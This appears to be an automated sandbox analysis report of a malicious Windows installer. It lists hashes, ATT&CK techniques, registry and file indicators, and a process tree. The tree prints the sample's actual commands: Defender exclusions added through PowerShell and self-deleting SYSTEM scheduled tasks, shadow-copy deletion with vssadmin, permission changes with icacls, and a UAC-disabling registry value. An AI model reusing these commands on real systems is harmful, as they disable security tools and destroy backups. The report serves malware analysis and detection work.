10b27a3ef14f824983181f461ab60ed9e49d36d419d663cf6a9ec738897721e4

Analysis

max time kernel
141s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 04:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.08.exe
Size 30.5MB
Sample261024-e934vssvft
SHA256 10b27a3ef14f824983181f461ab60ed9e49d36d419d663cf6a9ec738897721e4
MD5 fc5523667300f9ffe7b730de92d60949
SHA1 6be6428b21623e44504167cd2495fd5a642db8a7
SHA512 4278f28b092262b893df312b6b8f50a46184cf07709ffd83af4bda80e4d775ffd38233752ab1b506c1c6af45a877015c178ce7a7a72732d704d220851a51e01a
SSDEEP 196608:8ZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYA:DC/p+HuPOc49
TLSH
T10767181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	bxDu7C.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\XQWyvF = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3592	powershell.exe
2904	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	bxDu7C.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4600	icacls.exe
4620	icacls.exe
4128	icacls.exe
3328	takeown.exe
556	icacls.exe
2824	icacls.exe
5452	icacls.exe
4104	icacls.exe
3292	icacls.exe
5844	icacls.exe
3848	icacls.exe
4208	takeown.exe
3996	icacls.exe
4996	icacls.exe
3484	icacls.exe
1636	icacls.exe
1456	icacls.exe
4132	icacls.exe
5632	icacls.exe
6012	icacls.exe
4220	icacls.exe
3364	icacls.exe
4976	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
2232	bDrDLj.exe
2280	bDrDLj.exe
5404	bxDu7C.exe
852	bxDu7C.exe
1828	bxDu7C.exe
4756	pBGv1U88n.exe

Loads dropped DLL 5 IoCs

pid	Process
2232	bDrDLj.exe
2280	bDrDLj.exe
5404	bxDu7C.exe
852	bxDu7C.exe
4756	pBGv1U88n.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1456	icacls.exe
4132	icacls.exe
3364	icacls.exe
4128	icacls.exe
3292	icacls.exe
4208	takeown.exe
3996	icacls.exe
3848	icacls.exe
4600	icacls.exe
1636	icacls.exe
4220	icacls.exe
4976	icacls.exe
5452	icacls.exe
2824	icacls.exe
4996	icacls.exe
3484	icacls.exe
4620	icacls.exe
3328	takeown.exe
556	icacls.exe
4104	icacls.exe
5632	icacls.exe
5844	icacls.exe
6012	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\XQWyvF\\bDrDLj.exe\""	bDrDLj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\R9AvHG\\bxDu7C.exe\""	bxDu7C.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4792	cmd.exe
424	cmd.exe
4656	cmd.exe
5068	cmd.exe
4552	cmd.exe
1836	cmd.exe
1420	cmd.exe
2332	cmd.exe
1252	cmd.exe
3908	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	bDrDLj.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\9Wqu718\XPSPLOG.dll	bxDu7C.exe
File opened for modification	C:\Program Files (x86)\9Wqu718\XPSPLOG.dll	bxDu7C.exe
File created	C:\Program Files (x86)\R9AvHG\image.png	bDrDLj.exe
File opened for modification	C:\Program Files (x86)\R9AvHG\image.png	bDrDLj.exe
File opened for modification	C:\Program Files (x86)\9Wqu718	bxDu7C.exe
File created	C:\Program Files (x86)\9Wqu718\pBGv1U88n.exe	bxDu7C.exe
File opened for modification	C:\Program Files (x86)\9Wqu718\pBGv1U88n.exe	bxDu7C.exe
File created	C:\Program Files (x86)\9Wqu718\image.png	bxDu7C.exe
File created	C:\Program Files (x86)\9Wqu718\thumbs.db	bxDu7C.exe
File created	C:\Program Files (x86)\R9AvHG\bxDu7C.exe	bDrDLj.exe
File created	C:\Program Files (x86)\R9AvHG\XPSPLOG.dll	bDrDLj.exe
File opened for modification	C:\Program Files (x86)\R9AvHG\XPSPLOG.dll	bDrDLj.exe
File opened for modification	C:\Program Files (x86)\9Wqu718\image.png	bxDu7C.exe
File opened for modification	C:\Program Files (x86)\R9AvHG\bxDu7C.exe	bDrDLj.exe
File opened for modification	C:\Program Files (x86)\9Wqu718\thumbs.db	bxDu7C.exe
File opened for modification	C:\Program Files (x86)\R9AvHG	bDrDLj.exe
File created	C:\Program Files (x86)\R9AvHG\thumbs.db	bDrDLj.exe
File opened for modification	C:\Program Files (x86)\R9AvHG\thumbs.db	bDrDLj.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3168	sc.exe
1772	sc.exe
4884	sc.exe
5064	sc.exe
1556	sc.exe
2128	sc.exe
5616	sc.exe
3012	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\SCRNSAVE.EXE	bxDu7C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\ScreenSaveActive = "0"	bxDu7C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	bxDu7C.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1416	cmd.exe
2992	cmd.exe
3664	cmd.exe
5880	cmd.exe
6044	cmd.exe
1448	cmd.exe
1116	cmd.exe
2784	cmd.exe
3644	cmd.exe
1140	cmd.exe
1756	cmd.exe
1588	cmd.exe
1716	cmd.exe
4744	cmd.exe
5772	cmd.exe
4800	cmd.exe
3804	cmd.exe
2008	cmd.exe
4716	cmd.exe
2556	cmd.exe
4120	cmd.exe
3728	cmd.exe
5468	cmd.exe
2712	cmd.exe
3240	cmd.exe
2776	cmd.exe
5324	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bDrDLj.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bDrDLj.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bxDu7C.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bxDu7C.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.08.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.08.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bxDu7C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pBGv1U88n.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bxDu7C.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	bxDu7C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	bxDu7C.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\ScreenSaveActive = "0"	bxDu7C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	bxDu7C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	bxDu7C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\SCRNSAVE.EXE	bxDu7C.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1336	schtasks.exe
2440	schtasks.exe
2948	schtasks.exe
4240	schtasks.exe
708	schtasks.exe
4884	schtasks.exe
2156	schtasks.exe
1076	schtasks.exe
4936	schtasks.exe
4788	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
4100	install.2.0.08.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe
2232	bDrDLj.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeIncreaseQuotaPrivilege	3592	powershell.exe
Token: SeSecurityPrivilege	3592	powershell.exe
Token: SeTakeOwnershipPrivilege	3592	powershell.exe
Token: SeLoadDriverPrivilege	3592	powershell.exe
Token: SeSystemProfilePrivilege	3592	powershell.exe
Token: SeSystemtimePrivilege	3592	powershell.exe
Token: SeProfSingleProcessPrivilege	3592	powershell.exe
Token: SeIncBasePriorityPrivilege	3592	powershell.exe
Token: SeCreatePagefilePrivilege	3592	powershell.exe
Token: SeBackupPrivilege	3592	powershell.exe
Token: SeRestorePrivilege	3592	powershell.exe
Token: SeShutdownPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeSystemEnvironmentPrivilege	3592	powershell.exe
Token: SeRemoteShutdownPrivilege	3592	powershell.exe
Token: SeUndockPrivilege	3592	powershell.exe
Token: SeManageVolumePrivilege	3592	powershell.exe
Token: 33	3592	powershell.exe
Token: 34	3592	powershell.exe
Token: 35	3592	powershell.exe
Token: 36	3592	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 3592	2232	bDrDLj.exe	92
PID 2232 wrote to memory of 1836	2232	bDrDLj.exe	94
PID 1836 wrote to memory of 1336	1836	cmd.exe	96
PID 1836 wrote to memory of 4820	1836	cmd.exe	97
PID 1836 wrote to memory of 4348	1836	cmd.exe	99
PID 2232 wrote to memory of 1420	2232	bDrDLj.exe	104
PID 1420 wrote to memory of 2440	1420	cmd.exe	107
PID 1420 wrote to memory of 2520	1420	cmd.exe	109
PID 2232 wrote to memory of 424	2232	bDrDLj.exe	111
PID 1420 wrote to memory of 2212	1420	cmd.exe	113
PID 2232 wrote to memory of 2332	2232	bDrDLj.exe	114
PID 424 wrote to memory of 2948	424	cmd.exe	116
PID 2332 wrote to memory of 4884	2332	cmd.exe	117
PID 424 wrote to memory of 6100	424	cmd.exe	118
PID 2332 wrote to memory of 1296	2332	cmd.exe	120
PID 424 wrote to memory of 4764	424	cmd.exe	121
PID 2332 wrote to memory of 2556	2332	cmd.exe	122
PID 1140 wrote to memory of 2744	1140	cmd.exe	103
PID 2232 wrote to memory of 1252	2232	bDrDLj.exe	124
PID 1252 wrote to memory of 2156	1252	cmd.exe	126
PID 1252 wrote to memory of 3256	1252	cmd.exe	128
PID 1252 wrote to memory of 2604	1252	cmd.exe	130
PID 2992 wrote to memory of 2016	2992	cmd.exe	133
PID 1756 wrote to memory of 4284	1756	cmd.exe	134
PID 4120 wrote to memory of 3500	4120	cmd.exe	135
PID 2232 wrote to memory of 5404	2232	bDrDLj.exe	136
PID 5404 wrote to memory of 3728	5404	bxDu7C.exe	138
PID 5404 wrote to memory of 5468	5404	bxDu7C.exe	139
PID 5404 wrote to memory of 1588	5404	bxDu7C.exe	142
PID 3728 wrote to memory of 5452	3728	cmd.exe	145
PID 5404 wrote to memory of 3664	5404	bxDu7C.exe	147
PID 5404 wrote to memory of 4800	5404	bxDu7C.exe	150
PID 4800 wrote to memory of 4104	4800	cmd.exe	152
PID 5404 wrote to memory of 3908	5404	bxDu7C.exe	153
PID 5404 wrote to memory of 3804	5404	bxDu7C.exe	154
PID 5404 wrote to memory of 4792	5404	bxDu7C.exe	157
PID 5404 wrote to memory of 4744	5404	bxDu7C.exe	159
PID 3908 wrote to memory of 4240	3908	cmd.exe	160

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	bxDu7C.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4100

C:\Users\Public\XQWyvF\bDrDLj.exe
"C:\Users\Public\XQWyvF\bDrDLj.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XQWyvF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\XQWyvF\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2440
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2520
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:424
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1296
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2604
- C:\Program Files (x86)\R9AvHG\bxDu7C.exe
  "C:\Program Files (x86)\R9AvHG\bxDu7C.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5404
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5452
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5468
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1588
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3664
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\R9AvHG\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\R9AvHG\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4240
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3472
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4228
- - C:\Windows\SysWOW64\cmd.exe
